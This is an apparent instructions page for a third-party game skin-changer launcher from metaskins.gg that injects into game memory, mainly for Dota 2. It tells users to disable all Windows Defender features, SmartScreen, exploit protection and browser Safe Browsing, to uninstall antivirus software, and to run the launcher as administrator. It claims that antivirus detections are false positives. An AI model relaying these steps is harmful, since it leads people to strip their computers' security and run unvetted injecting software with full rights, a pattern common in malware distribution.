Instructions
Disable Windows protection, sign up on the developer's website, download the launcher in your account, run it as administrator, log in with your username and click "Play" next to the game you need.
Disabling Windows protection
1. Antivirus software may flag the program as a false positive: it uses an updated launch mechanism and encryption. It is not a virus.
2. Open Start → Settings → Update & Security → Windows Security, "Virus & threat protection" section → "Manage settings", and turn off: "Real-time protection", "Cloud-delivered protection", "Automatic sample submission", "Tamper Protection".
3. Under "App & browser control" → "Reputation-based protection settings", turn off "Check apps and files", "SmartScreen for Microsoft Edge" and "Potentially unwanted app blocking".
4. In the same place, open "Exploit protection settings" and set all options to "Off by default". Restart your computer.
5. In Chrome: Settings → Privacy and security → Security → "Safe Browsing" → "No protection". In Yandex Browser, turn off the corresponding options in the "Security" section.
6. If you have a third-party antivirus and disabling it isn't enough, uninstall it.

Installation and launch
1. Open the developer's website https://metaskins.gg, click "Sign up / Log in", at the bottom of the form select "Not registered yet? Sign up" and fill in your username, e-mail, password and password confirmation. Then log into your account.
2. In your account, click "Download launcher" and choose a folder to save it to. If the download doesn't start, check that Windows Defender is disabled.

4. Enter the username and password you created when signing up.
5. In the loader, hover over the game you need and click Play. After the game launches, skins or the menu may take 1-2 minutes to appear.

Common errors
Check that the name is correct and try again — your Windows username contains Cyrillic characters. Download the latest launcher version from the developer's website (the issue is fixed in the new version) or change your username to Latin characters.
No skins or menu after launching the game — wait 1-2 minutes. For Dota 2, use DX11, not Vulkan (only DX11 is supported). Uninstall third-party antivirus software and disable Windows Defender.
Failed to connect to the server — usually caused by an unstable internet connection or third-party programs: Radmin VPN, Zapret, GoodByeDpi, proxies, GearUP Booster, tools for bypassing YouTube or Discord blocks. Turn them off, remove their background services and check Task Manager. If you have Radmin VPN, disable its adapter in "Control Panel → Network and Internet → Network and Sharing Center → Change adapter settings".
Cannot map memory / Cannot get 'inject' adress — Windows Defender or a third-party antivirus is interfering. Fully uninstall the antivirus, disable Defender, make sure exploit protection is off and restart your PC.
Failed to load rendersystemdx11.dll — the launcher is running without administrator rights: right-click it and select "Run as administrator".
FATAL ERROR Data have sent to server (Dota 2) — most often when using Low Poly Map while a match is loading. Create a non-local lobby (for example, on the Stockholm server): Low Poly Map doesn't work in custom modes, "Demo Hero" mode or local lobbies. Verify the game files, clear Dota's launch options in Steam, update your graphics driver, turn off Nvidia Reflex in the graphics settings, update Windows and run DISM.exe /Online /Cleanup-image /Restorehealth and sfc /scannow in cmd, then restart your PC.
